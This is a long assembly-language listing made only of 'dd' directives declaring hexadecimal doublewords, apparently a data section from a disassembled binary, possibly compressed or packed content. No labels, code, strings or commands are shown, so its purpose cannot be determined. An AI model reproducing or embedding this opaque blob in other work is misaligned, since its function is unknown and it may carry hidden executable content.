		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h
		dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h
		dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh,	9FA07554h
		dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh
		dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh
		dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh,	807D1452h
		dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h
		dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h,	0B889A884h
		dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h
		dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh
		dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh
		dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h
		dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h,	7F800E81h
		dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch,	70154C8h
		dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
		dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h,	2E3233h
		dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
		dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
		dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
		dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
		dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
		dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
		dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h,	98212ED5h
		dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch,	87FD7970h
		dd 17AD23Dh, 18740648h,	0CB726269h, 612445F1h, 32E9CCB4h
		dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
		dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
		dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
		dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
		dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h,	0ED08BE64h
		dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
		dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
		dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
		dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h,	7B041857h
		dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h,	227AD153h
		dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
		dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
		dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh,	4DE80A67h
		dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h,	0C80943B6h
		dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
		dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h,	58A7A00h
		dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h,	2C0E66F4h
		dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
		dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
		dd 542849Ah, 9100B8E8h,	591B470Eh, 15DA4Eh, 677A66C5h
		dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h,	0ED641400h
		dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah,	0EF5210B9h
		dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
		dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h
		dd 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h,	0A757004Ch
		dd 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h
		dd 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h
		dd 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h
		dd 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h
		dd 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh
		dd 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h,	0EC7400B9h
		dd 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h
		dd 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h
		dd 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh
		dd 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh
		dd 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh
		dd 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h
		dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
		dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
		dd 91D259Dh, 1E489E43h,	87675584h, 678647B5h, 0AF96878Eh
		dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
		dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
		dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
		dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
		dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
		dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
		dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
		dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
		dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
		dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
		dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
		dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
		dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h,	487FC20h
		dd 195B03Ch, 671C4714h,	602C8424h, 253CC93h, 7CFEC77Fh
		dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh,	80FA5FF4h
		dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h,	3C3B2A3Ah
		dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
		dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
		dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h,	3CE75D87h
		dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
		dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
		dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
		dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h,	91A422A0h
		dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h,	130F6010h
		dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h,	0BA675274h
		dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
		dd 0D0F8C3F4h, 3970FCh,	83A0431h, 383C665Ch, 2E403D00h
		dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
		dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
		dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
		dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
		dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h
		dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch
		dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh
		dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h
		dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h,	0A41B78E0h
		dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h,	2F491F31h
		dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h
		dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h
		dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h
		dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h
		dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh,	9901A392h
		dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h
		dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch,	64610040h
		dd 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh, 38A0DE3Bh
		dd 0E8FF3Dh, 1DF612F2h,	0FE27FAh, 0F437B02Dh, 0B25AF849h
		dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
		dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
		dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
		dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
		dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h,	0F0786CEEh
		dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch,	0D39C7894h
		dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
		dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
		dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h,	5CA05344h
		dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh,	0BCA203B4h
		dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
		dd 0DC42C29h, 3D604D1h,	803E873Ch, 5869A02Bh, 0C5E1BF00h
		dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
		dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h,	69B03084h
		dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
		dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
		dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
		dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h,	0A593A873h
		dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
		dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h,	331883D7h
		dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
		dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
		dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
		dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
		dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
		dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
		dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
		dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh,	0D7F9D1B0h
		dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
		dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
		dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
		dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
		dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
		dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah,	4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
